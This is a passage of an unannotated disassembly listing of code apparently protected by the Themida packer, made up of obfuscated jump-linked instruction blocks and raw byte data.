		dd 0C281FFFFh, 4, 6B3DE9h, 3F42BF00h, 0C2B81A5Ah, 1E5A5C0h
		dd 58F8E9F8h, 0FD00FFFFh, 8BD3C580h, 0C483241Ch, 66E83004h
		dd 81240C8Bh, 2C4h, 27B45000h, 5158E300h, 0F5801AB5h, 50BFE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519472:				; CODE XREF: Themida_:00514779j
		mov	edi, 7F2A6318h
		neg	edi
		jmp	loc_50D611
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 24048B2Eh, 0FFC2F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519489:				; CODE XREF: Themida_:0051EBB4j
		sub	ebp, 744D4F8Fh
		push	dword ptr [esp]
		pop	eax
		push	43BFh
		mov	[esp], edi
		jmp	loc_51AA43
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFCC86E9h, 48B66FFh, 0EB685524h,	5400003Fh
		dd 0FFAE80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5194B9:				; CODE XREF: Themida_:0051C797j
		sub	esi, 26547B18h
		sub	esi, 181327B4h
		pop	ebx
		xor	esi, [esp]
		jmp	loc_520102
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2474FF24h, 48F5A04h,	6D92E924h, 2E9FFFFh, 80FFFF21h
		dd 0E828AAF5h, 0E9F82859h, 278Eh
; ---------------------------------------------------------------------------


loc_5194F0:				; CODE XREF: Themida_:0050C3EBj
		add	eax, edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_514DB9
; ---------------------------------------------------------------------------


loc_5194FF:				; CODE XREF: Themida_:00518BF0j
		shl	edx, 7
		xor	edx, 762A5F1Eh
		jmp	loc_51DBB8
; ---------------------------------------------------------------------------
aRIQsbsi8	db '[R QsB8',0
		align 2
aSf_		db '[f.',0
		align 10h
		dd 4EC835Fh, 0E9241489h, 0FFFFA10Dh, 405h, 24048700h, 20ABE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51953A:				; CODE XREF: Themida_:0052083Cj
		add	ecx, 1B96A607h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_50CAFF
; ---------------------------------------------------------------------------


loc_51954E:				; CODE XREF: Themida_:0051F8FEj
		sub	cl, 0AAh
		pop	ebx
		or	cl, 5Dh
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_50CE9D
; ---------------------------------------------------------------------------


loc_519564:				; CODE XREF: Themida_:00520C1Bj
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------


loc_519569:				; CODE XREF: Themida_:0051EDCDj
		push	ebp
		jmp	loc_51A24D
; ---------------------------------------------------------------------------
		db 59h
		dd 815E5456h, 4C6h, 4C68300h, 0FF7289E9h, 35B850FFh, 0B933127Fh
		dd 31F644E8h, 0BD58C131h, 61272422h, 6E38C581h,	0C5816DBBh
		dd 15AC2ACCh, 3ED2C581h, 0CD011E63h, 3ED2ED81h,	0ED811E63h
		dd 15AC2ACCh, 4E48BB53h, 814B4AFFh, 0BC1FF1C3h,	5BDD2922h
		dd 0BE564559h, 4DC94488h, 0F681D6F7h, 5DB817CEh, 8E9DEF7h
		dd 66FFFFEEh, 56240C8Bh, 0FFF71AE9h, 0E94840FFh, 374Ah
		dd 68C8B70Fh, 1CDAh, 520DE9h, 24248B00h, 0F66E1F6h, 6866CCB6h
		dd 9BE935E9h, 89FFFFCDh, 88B62414h, 0F620E680h,	7E8CE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51961A:				; CODE XREF: Themida_:00515D86j
		add	ebp, 4
		jmp	loc_5131B1
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 3
		dd 8E95F781h, 0FE89D53Ah, 3481565Fh, 1243A124h,	241C8B73h
		dd 0E904C483h, 0FFFF9040h
; ---------------------------------------------------------------------------


loc_519644:				; CODE XREF: Themida_:005182EAj
		mov	esi, [esp]
		add	esp, 4
		add	ebp, edx
		pop	edx
		pop	edx
		push	ebp
		jmp	loc_50CC20
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 74BB5300h, 0C128E70Ch,	0B5E906E3h, 8FFFF93h, 2434FFEEh
		dd 6557E959h, 0BF570000h, 1B297191h, 0FFC562E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519681:				; CODE XREF: Themida_:0051B696j
		pop	esp
		mov	[esp], ecx
		jmp	loc_50CEBD
; ---------------------------------------------------------------------------


loc_51968A:				; CODE XREF: Themida_:00511ED5j
		mov	edi, 4B091ABCh
		and	edi, 2B625097h
		jmp	loc_5104BE
; ---------------------------------------------------------------------------
		dw 8953h
		dd 45B1E9E3h, 5B58FFFFh, 242C8B50h, 4C481h, 48B0000h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 0E2BF575Ch, 0E92ED378h
		dd 0FFFF3AE2h
; ---------------------------------------------------------------------------


loc_5196CC:				; CODE XREF: Themida_:0051C061j
		mov	edi, 13CB20EEh
		push	edi
		xor	dword ptr [esp], 68484AFAh
		pop	ebx
		xor	ebx, 68484AFAh
		pop	edi
		shl	ebx, 4
		jmp	loc_512CBF
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0FDh
		dd 500DF05Ah, 0CF56C5B8h, 8BC5295Fh, 90E92404h,	89FFFF37h
		dd 0B2E92404h, 81000054h, 940547F3h, 0C1DBF769h, 0BD5504E3h
		dd 61AF2DE1h, 9A7C581h,	0ED817FE7h, 3F33799Ch, 7202CD81h
		dd 70E97142h, 0B800006Ah, 20FF37D8h, 2C1AB50Dh,	7D422D58h
		dd 0AB2D1505h, 891FB25Dh, 0E90958C5h, 78F0E9h, 0E9FB0100h
		dd 0FFFFE446h
; ---------------------------------------------------------------------------


loc_519754:				; CODE XREF: Themida_:0050DE46j
		mov	ebx, 27082566h
		sub	edx, ebx
		pop	ebx
		xor	edx, edi
		jmp	loc_50D635
; ---------------------------------------------------------------------------


loc_519763:				; CODE XREF: Themida_:005199ADj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4FD803A3h
		neg	ebx
		jmp	loc_51B6BA
; ---------------------------------------------------------------------------
		dd 5D8F740h, 386241E8h,	0FFE7ADE9h, 56CE89FFh, 0F162E95Dh
		dd 0C15AFFFFh, 0D68703E6h, 0FF8501E9h, 0C8B66FFh, 4EC8124h
		dd 89000000h, 58542404h, 8904EC83h, 4168243Ch, 5F383143h
		dd 4C56BD55h, 0EF210505h, 0FF552BE9h, 0FFF801FFh, 835F2434h
		dd 0C20104C4h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_50BDFF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BB5304E5h, 73443A11h, 1ED4E9h, 0C4815900h, 4, 2BE56h
		dd 0EB810000h, 873E57h,	395EE9h, 5E4BE00h, 0F0017C16h
		dd 8124348Bh, 4C4h, 56D82900h, 0FFD219E9h, 0B1662CFFh
		dd 58C100D3h, 0FF6A02E9h, 633FBFFFh, 0D7F723B5h, 0A381E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51983A:				; CODE XREF: Themida_:0051DFB2j
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_50C6DB
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FF1F49E9h, 48B66FFh, 2053E924h, 0C380FFFFh
		dd 0E9CBFEABh, 0FFFF577Ah, 0E90EB3h, 53FFFF4Bh,	0FFFE29E9h
		dd 0AC2968FFh, 565D6E36h, 0EF3C90BEh, 2EEC14Bh,	7C0BC681h
		dd 0C68166F0h, 0D9B5E2Ch, 8BADEE81h, 0F5013848h, 653BE9h
		dd 0E0895000h, 405h, 40500h, 4870000h, 7A43E924h, 5196FFFFh
		dd 0C7DD3DB9h, 59CE31F5h, 34FFF029h, 24E95E24h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5198CB:				; CODE XREF: Themida_:00520A9Cj
		add	edx, 543F3FF5h
		sub	edx, 209B21E4h
		add	edx, edi
		add	edx, 209B21E4h
		sub	edx, 543F3FF5h
		add	edx, 1C7D0439h
		push	esi
		mov	esi, eax
		mov	[edx], esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_51209A
; ---------------------------------------------------------------------------


loc_5198FC:				; CODE XREF: Themida_:0050E82Aj
		add	ecx, 4
		jmp	loc_511DAB
; ---------------------------------------------------------------------------


loc_519904:				; CODE XREF: Themida_:00514692j
		xor	edi, ebp
		push	dword ptr [esp]
		jmp	loc_51F057
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 6857525Dh, 24DA5A30h, 8BFA895Fh, 0E9E9243Ch
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519923:				; CODE XREF: Themida_:0050F45Aj
		pop	ebx
		jmp	loc_50B748
; ---------------------------------------------------------------------------
aRNYeiZbJXsgu	db 'RnYZj#Xgu',0
		db 0
; ---------------------------------------------------------------------------


loc_51993D:				; CODE XREF: Themida_:00511291j
		sub	esi, 49E25A11h
		sub	esi, 232A00A2h
		add	esi, 50195572h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5DC44113h
		push	ebp
		jmp	loc_511371
; ---------------------------------------------------------------------------


loc_519960:				; CODE XREF: Themida_:00519C10j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	4606h
		jmp	loc_51F29D
; ---------------------------------------------------------------------------
		db 51h
		dd 5166E0B5h, 12444FEh,	0C5805966h, 0E9D5F6FFh,	4E1Eh
		dd 240C8B66h, 4EC8355h,	0FF4849E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5199A9:				; CODE XREF: Themida_:0051ED69j
		pop	esp
		mov	esi, [esp]
		jmp	loc_519763
; ---------------------------------------------------------------------------


loc_5199B2:				; CODE XREF: Themida_:0051609Cj
		add	eax, 0A12FE6AAh
		mov	ecx, eax
		jmp	loc_5166EF
; ---------------------------------------------------------------------------


loc_5199BE:				; CODE XREF: Themida_:0050BC64j
		inc	ecx
		xor	ecx, 84B5E803h
		add	ebp, ecx
		pop	ecx
		jmp	loc_51CFC4
; ---------------------------------------------------------------------------


loc_5199CD:				; CODE XREF: Themida_:0050C7A8j
		push	eax
		mov	eax, 4CF50513h
		dec	eax
		not	eax
		or	eax, 1B413998h
		not	eax
		sub	eax, 0E8119382h
		and	eax, 58036DBFh
		shr	eax, 1
		jmp	loc_50EA98
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 0B590CCDAh, 3C8BF829h, 4C48124h, 29000000h, 4AE958C3h
		dd 0C1000002h, 0C68106EEh, 3BF11D7Ah, 210EE81h,	0EE813013h
		dd 0EB47D912h, 0FFCACFE9h, 4C481FFh, 2D000000h,	484332AFh
		dd 0EC6DF82Dh, 5F80151h, 51EC6DF8h, 4332AF05h, 4875F48h
		dd 24248B24h, 0FF5788E9h, 48B66FFh, 3CE95724h, 8FFFFABh
		dd 0E873E9EFh, 8B66FFFFh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_51E1B1
; ---------------------------------------------------------------------------


loc_519A7B:				; CODE XREF: Themida_:00513255j
		add	ecx, 1F6D3F6Fh
		jmp	loc_51D648
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 1C8BD929h, 4C48124h, 0E9000000h, 600Ch, 124248Bh
		dd 704E9FDh, 8B660000h,	0E7E9240Ch, 68FFFF51h, 310Dh, 261E9h
		dd 8EAC100h, 3821BE56h,	0E6C168F0h, 5E90E903h, 0E9500000h
		dd 0FFFF4D5Fh, 6B1C581h, 0E5816814h, 15854A12h,	5D3AC581h
		dd 0E9015401h, 90C1815Dh, 1EC2FC0h, 696DE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519AF2:				; CODE XREF: Themida_:00513393j
		xor	edx, 93E5992Ch
		sub	eax, edx
		jmp	loc_511807
; ---------------------------------------------------------------------------


loc_519AFF:				; CODE XREF: Themida_:00518E0Aj
		neg	ecx
		jmp	loc_513300
; ---------------------------------------------------------------------------
aV4dsM		db 'V%:4dm',0
		dd 9BBD5500h, 555A517Dh, 5D2414F7h, 8EF58145h, 0E94CDE42h
		dd 0FFFF57E2h
; ---------------------------------------------------------------------------


loc_519B28:				; CODE XREF: Themida_:0050B711j
		add	eax, ecx
		pop	ecx
		add	edx, eax
		jmp	loc_51A51A
; ---------------------------------------------------------------------------


loc_519B32:				; CODE XREF: Themida_:00514E2Dj
		pop	esi
		push	ebx
		jmp	loc_5153CD
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0CAE95E04h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519B43:				; CODE XREF: Themida_:0051ECE8j
		mov	ebp, 5892080Fh
		jmp	loc_518C7F
; ---------------------------------------------------------------------------
		db 0BBh, 0FEh, 0B9h
		dd 0D801FD87h, 0EED815Bh, 812DB253h, 4627DCC5h,	81C5011Ah
		dd 4627DCEDh, 0B850571Ah, 629D2F3Ch, 0D8F7D0F7h, 5A14522Dh
		dd 0FFFF0512h, 0E8C1FFFFh, 0A654E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519B86:				; CODE XREF: Themida_:00511853j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_50DEEC
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 42E99C24h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519BA3:				; CODE XREF: Themida_:0051F885j
		push	ebp
		add	dword ptr [esp], 1EB34039h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1EB34039h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5100FE
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 47h
		dd 0F702AD7Fh, 3E7C1DFh, 6281E9h, 7F00BA00h, 0E2C10CDDh
		dd 81D2F706h, 0A03FFBF2h, 0FFD301C8h, 835A2434h, 0D8E904C4h
		dd 5AFFFFAAh, 0FFDCFCE9h, 0A8E981FFh, 0E9688E56h, 0FFFFCB58h
		dd 0A78FEA81h, 2EE955C2h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_519C0F:				; CODE XREF: Themida_:00514FF2j
		pop	ecx
		jmp	loc_519960
; ---------------------------------------------------------------------------


loc_519C15:				; CODE XREF: Themida_:00511C52j
		xor	ebx, [esp]
		jmp	loc_511E51
; ---------------------------------------------------------------------------


loc_519C1D:				; CODE XREF: Themida_:0051AEA8j
		pop	eax
		add	esp, 4
		sub	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_513DDF
; ---------------------------------------------------------------------------


loc_519C2E:				; CODE XREF: Themida_:0050D6B5j
		shr	ecx, 0Ah
		jmp	loc_516CDE
; ---------------------------------------------------------------------------


loc_519C36:				; CODE XREF: Themida_:0051C2A4j
		pop	dword ptr [esp]
		jmp	loc_50D3B0
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0F777D9F7h, 0FFD479E9h, 0D6875AFFh, 0FFCA6EE9h, 4C381FFh
		dd 0E951ED7Dh, 0FFFF2F24h
; ---------------------------------------------------------------------------


loc_519C5C:				; CODE XREF: Themida_:0051B563j
		pop	dword ptr [esp]
		pop	esp
		push	601Bh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		jmp	loc_5188BD
; ---------------------------------------------------------------------------


loc_519C70:				; CODE XREF: Themida_:0050FA5Dj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5110A4
; ---------------------------------------------------------------------------


loc_519C86:				; CODE XREF: Themida_:0051B3B2j
		xor	esi, 0D14136Bh
		sub	edi, esi
		pop	esi
		pop	edx
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_50E55B
; ---------------------------------------------------------------------------


loc_519CA4:				; CODE XREF: Themida_:00510FAAj
		push	6760h
		mov	[esp], edi
		jmp	loc_51C2E1
; ---------------------------------------------------------------------------


loc_519CB1:				; CODE XREF: Themida_:0051144Bj
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, ebx
		pop	ebx
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		jmp	loc_50FF42
; ---------------------------------------------------------------------------


loc_519CC5:				; CODE XREF: Themida_:0050B89Ej
		sub	bl, cl
		pop	ecx
		sub	bl, 0C8h
		add	bl, 0B0h
		jmp	loc_513A40
; ---------------------------------------------------------------------------
		db 0FFh
		dd 35E92434h, 49FFFF77h, 4488E181h, 81494D6Ah, 0D1933FE9h
		dd 0E9CB8993h, 5053h, 9C240431h, 1F94E9h
		db 0
; ---------------------------------------------------------------------------


loc_519CF9:				; CODE XREF: Themida_:005156EDj
		add	dword ptr [esp+4], 8777D24h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 8777D24h
		add	dword ptr [esp+4], 14830130h
		jmp	loc_51CCFE
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2474FF24h, 241C8B04h, 8F04C483h, 0D25C2404h,	0E99C243Ch
		dd 0FFFF18B1h, 6EE9412Ch, 8B000025h, 0C481241Ch, 4, 0B905E981h
		dd 0C8891868h, 81240C8Bh, 4C4h,	5021E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_519D5A:				; CODE XREF: Themida_:005119F2j
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_51E892
; ---------------------------------------------------------------------------


loc_519D66:				; CODE XREF: Themida_:0051511Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, edx
		mov	ecx, edi
		mov	edi, [esp]
		push	eax
		jmp	loc_50EC01
; ---------------------------------------------------------------------------
		dd 87E9EE01h, 5200000Fh, 3DE0E957h, 0C8010000h,	5997E9h
		db 0
; ---------------------------------------------------------------------------


loc_519D91:				; CODE XREF: Themida_:0051CFCFj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_513B16
; ---------------------------------------------------------------------------


loc_519DAB:				; CODE XREF: Themida_:0051FB66j
		mov	esi, 1
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_50ED14
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0CC53E924h, 8B66FFFFh, 54512404h, 0E92434FFh, 6D2Ch
; ---------------------------------------------------------------------------


loc_519DD0:				; CODE XREF: Themida_:00520E9Fj
		push	edi
		pop	ebp
		jmp	loc_5141CE
; ---------------------------------------------------------------------------


loc_519DD7:				; CODE XREF: Themida_:0050D7EEj
		push	4151h
		mov	[esp], ecx
		jmp	loc_516902
; ---------------------------------------------------------------------------
		dd 0C6CDB951h, 6FE9C859h, 81FFFFAAh, 4C4h, 5BD80000h, 0FF977DE9h
		dd 243C89FFh, 0FFBE45E9h, 90ED81FFh, 1355653h, 8FBBE9EEh
		dd 0F028FFFFh, 0FF4489E9h, 54535FFFh, 4C3815Bh,	0E9000000h
		dd 18F8h, 89242C89h, 116F68E5h,	1C890000h, 1675BB24h, 0EB815FE9h
		dd 5FE91671h, 1CF5C581h, 0C581193Fh, 6647304Fh,	0ED81DD01h
		dd 6647304Fh, 59C1E953h, 0D7880000h, 66F8285Ah,	0C7B5E95Bh
		dd 0F529FFFFh, 34D2E9h,	4C48100h, 68000000h, 6C21h, 0BB241C89h
		dd 2, 34FFDE01h, 0C4815B24h, 4,	31243433h, 0BDE92434h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519E97:				; CODE XREF: Themida_:005139C1j
		sub	bl, 0EFh
		sub	bl, cl
		add	bl, 0EFh
		pop	ecx
		sub	bl, al
		jmp	loc_51E877
; ---------------------------------------------------------------------------
		db 57h
		dd 813655BFh, 16B95164h, 0E97A6575h, 0FFFFD24Bh
; ---------------------------------------------------------------------------


loc_519EB8:				; CODE XREF: Themida_:005178F0j
		add	eax, 1F96311Ch
		pop	ebp
		jmp	loc_50F6BA
; ---------------------------------------------------------------------------
		db 5Eh
		dd 53DFF747h, 4E1A98BBh, 0E9DF3154h, 0FFFF9412h
; ---------------------------------------------------------------------------


loc_519ED4:				; CODE XREF: Themida_:0051A19Aj
		mov	ebx, 4AC03B8Ah
		jmp	loc_517E09
; ---------------------------------------------------------------------------
		dw 91BFh
		dd 4F420E3Ch, 0FDE9DFF7h, 5F000057h, 4BF57h, 0FDE90000h
		dd 100000Bh, 242C8BEEh,	2904C483h, 24348BF3h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 815C241Ch, 1E3F39EBh, 0E9C3015Eh
		dd 0FFFFC813h, 2411B050h, 6445E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_519F2E:				; CODE XREF: Themida_:00514298j
		not	edx
		add	edx, 66BD5486h
		push	esi
		jmp	loc_511138
; ---------------------------------------------------------------------------
		dd 4B8h, 24440100h, 48F5804h, 6DB46824h, 14890000h, 46824h
		dd 148B0000h, 4C48124h,	81000000h, 5004246Ch, 8119161Ch
		dd 85042444h, 1099179h,	81042454h, 8504246Ch, 56099179h
		dd 161C50BEh, 24740119h, 148B5E08h, 2726E924h, 0C3810000h
		dd 4, 4BD55h, 0EB010000h, 7754E95Dh, 0E0D1FFFFh, 0D106E0C1h
		dd 248335E8h, 0C689644Ch, 2F68158h, 576C8322h, 5E1876BFh
		dd 4440E9ABh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519FC2:				; CODE XREF: Themida_:0050C269j
		sub	al, 0FFh
		jmp	loc_51C4F3
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 0BEC2815Ah, 298DB833h, 0EB815AD1h, 15B00E6Bh, 0FFECE7E9h
		dd 243489FFh, 0FF4CA7E9h, 240C87FFh, 6E58685Ch,	3C890000h
		dd 81E78924h, 4C7h, 4EF8100h, 87000000h, 0DE9243Ch, 0BB00000Ah
		dd 2, 2E65C681h, 0DE015A22h, 2E65EE81h,	565B5A22h, 42474FFh
		dd 0FFA438E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A029:				; CODE XREF: Themida_:00513D07j
		xor	edx, 0E1EEEB5Ah
		mov	esi, edx
		pop	edx
		push	edi
		jmp	loc_513CEA
; ---------------------------------------------------------------------------
		dd 110700BAh, 5AD3216Ah, 0FF55B3E9h, 0EE015DFFh, 1710EE81h
		dd 0EE81766Eh, 159D2F59h, 0E9242C8Bh, 0FFFF5CB7h
; ---------------------------------------------------------------------------


loc_51A05C:				; CODE XREF: Themida_:0051C1CFj
		mov	ebp, edx
		pop	edx
		sub	edx, 7617799Bh
		add	edx, ebp
		jmp	loc_51B46E
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1C8B5453h, 4C48124h, 81000000h, 4C3h, 2BA5200h
		dd 81000000h, 32BA6EBh,	29A9E918h, 585AFFFFh, 4AE9008Fh
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A09B:				; CODE XREF: Themida_:00520A15j
		mov	edx, edi
		jmp	loc_51403E
; ---------------------------------------------------------------------------


loc_51A0A2:				; CODE XREF: Themida_:0051CE8Cj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 62B44A94h
		add	ebp, ebx
		add	ebp, 62B44A94h
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		mov	edx, 5BD13B9Bh
		push	ebx
		mov	ebx, 3731B75h
		jmp	loc_50E22D
; ---------------------------------------------------------------------------


loc_51A0EC:				; CODE XREF: Themida_:0050E2D2j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_50F767
; ---------------------------------------------------------------------------
		dd 0FF241489h, 0E9042474h, 0FFFFF20Fh
; ---------------------------------------------------------------------------


loc_51A10C:				; CODE XREF: Themida_:0051C598j
		mov	[esp], eax
		mov	eax, 58920810h
		mov	ebx, eax
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, 4A6B2D1Eh
		jmp	loc_517A4B
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 6
		dd 0EDC7814Fh, 29C23969h, 9FB2E9FAh, 0BF57FFFFh, 4, 0E95FFB01h
		dd 0FFFF64B6h
; ---------------------------------------------------------------------------


loc_51A150:				; CODE XREF: Themida_:0051820Fj
		push	esi
		jmp	loc_516020
; ---------------------------------------------------------------------------
		dw 0EEB6h
		dd 45BDE30h, 2CB82C36h,	60AEE97Dh, 348BFFFFh, 4C48324h
		dd 0FF6EDBE9h, 242C89FFh, 25316BDh, 8CC7E950h, 1489FFFFh
		dd 0EC835024h, 243C8904h, 1361DEBFh, 7FAFE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A192:				; CODE XREF: Themida_:00513421j
		push	118Ah
		mov	[esp], ebx
		jmp	loc_519ED4
; ---------------------------------------------------------------------------


loc_51A19F:				; CODE XREF: Themida_:005149D6j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_51FAF8
; ---------------------------------------------------------------------------
		dw 335Fh
		dd 2C31242Ch, 242C3324h, 2424D35Ch, 8F31E99Ch, 0C201FFFFh
		dd 186068h, 241C8900h, 60DABE56h, 0EEC120B3h, 5ACE8102h
		dd 506A853Ah, 0C305DEB8h, 0E9C60952h, 0FFFF62FCh, 35A7CA81h
		dd 0E2C10A99h, 81D2F705h, 8B3DEBF2h, 5AD00138h,	0E9C5895Fh
		dd 1249h, 5358C129h, 3F3902BBh,	0EDB95106h, 81364414h
		dd 0C87239C1h, 0ACC98103h, 0C11C5813h, 0C18104E9h, 4AB03DF6h
		dd 8B6E9h, 4BB00h, 0B8500000h, 33974AC3h, 158C601h, 0C3EE81DEh
		dd 5B33974Ah, 4BD55h, 0EE010000h, 0FF221FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A24D:				; CODE XREF: Themida_:0051956Aj
		mov	ebp, 1B9F4E6Ah
		neg	ebp
		sub	ebp, 0DD12417Ch
		sub	edx, ebp
		pop	ebp
		jmp	loc_51C041
; ---------------------------------------------------------------------------
		dw 0FA68h
		dd 5871947Eh, 0C105E8C1h, 0E88306E0h, 0C24E35FFh, 8955D861h
		dd 0E98951C5h, 9FE9CF89h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51A283:				; CODE XREF: Themida_:00514EF3j
		pop	eax
		sub	esp, 4
		jmp	loc_513F93
; ---------------------------------------------------------------------------


loc_51A28F:				; CODE XREF: Themida_:0050F773j
		mov	[esp], esi
		push	eax
		mov	eax, 75F023ABh
		sub	esp, 4
		jmp	loc_50E310
; ---------------------------------------------------------------------------


loc_51A2A3:				; CODE XREF: Themida_:0050ECBEj
		shl	ebp, 4
		add	ebp, 5C5E871Ah
		sub	eax, ebp
		pop	ebp
		sub	eax, edx
		add	eax, 32526E2Ah
		jmp	loc_51556E
; ---------------------------------------------------------------------------


loc_51A2BB:				; CODE XREF: Themida_:005115E7j
		or	ebx, 14E10229h
		and	ebx, 451064EBh
		xor	ebx, 426708B7h
		sub	ebx, 27EF5D14h
		add	ebx, 504B824Ch
		add	ecx, ebx
		jmp	loc_50E01A
; ---------------------------------------------------------------------------
		dd 57240C8Bh, 0C781E789h, 4, 8704C783h,	565C243Ch, 0FF74D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A2F9:				; CODE XREF: Themida_:0051DA39j
		sub	ecx, 8C8CBEh
		jmp	loc_51EECB
; ---------------------------------------------------------------------------
aFrNSv		db 'fRN( ',0
		db 0
; ---------------------------------------------------------------------------


loc_51A30F:				; CODE XREF: Themida_:0051A5DCj
		not	dh
		xchg	dh, [esp+1]
		pop	ebx
		push	edx
		jmp	loc_51E8DB
; ---------------------------------------------------------------------------


loc_51A31C:				; CODE XREF: Themida_:0051FE68j
		push	ebp
		mov	ebp, 4
		sub	ebx, 7E85714Dh
		jmp	loc_5119EA
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 6DE95200h, 51FFFF9Eh, 0FF52E7E9h, 4C483FFh, 8B240487h
		dd 84E92424h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A34F:				; CODE XREF: Themida_:0050B665j
		sub	esi, ebx
		pop	ebx
		jmp	loc_512F1D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 875FFE01h, 50E92434h, 0F7FFFF77h,	7BF581D5h, 0E9B6FFEFh
		dd 0FFFF2721h, 0FF126CE9h, 2474FFFFh, 48F5804h,	0AB1EE924h
		dd 0F651FFFFh, 80592414h, 800477E9h, 0FFE042E9h, 240428FFh
		dd 1247E99Ch, 0A32CFFFFh, 0DBB65266h, 0FFFA69E9h, 0C8315BFFh
		dd 53D8F759h, 0FFEBB3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A3B5:				; CODE XREF: Themida_:0051C556j
		mov	[esp], ecx
		pop	edx
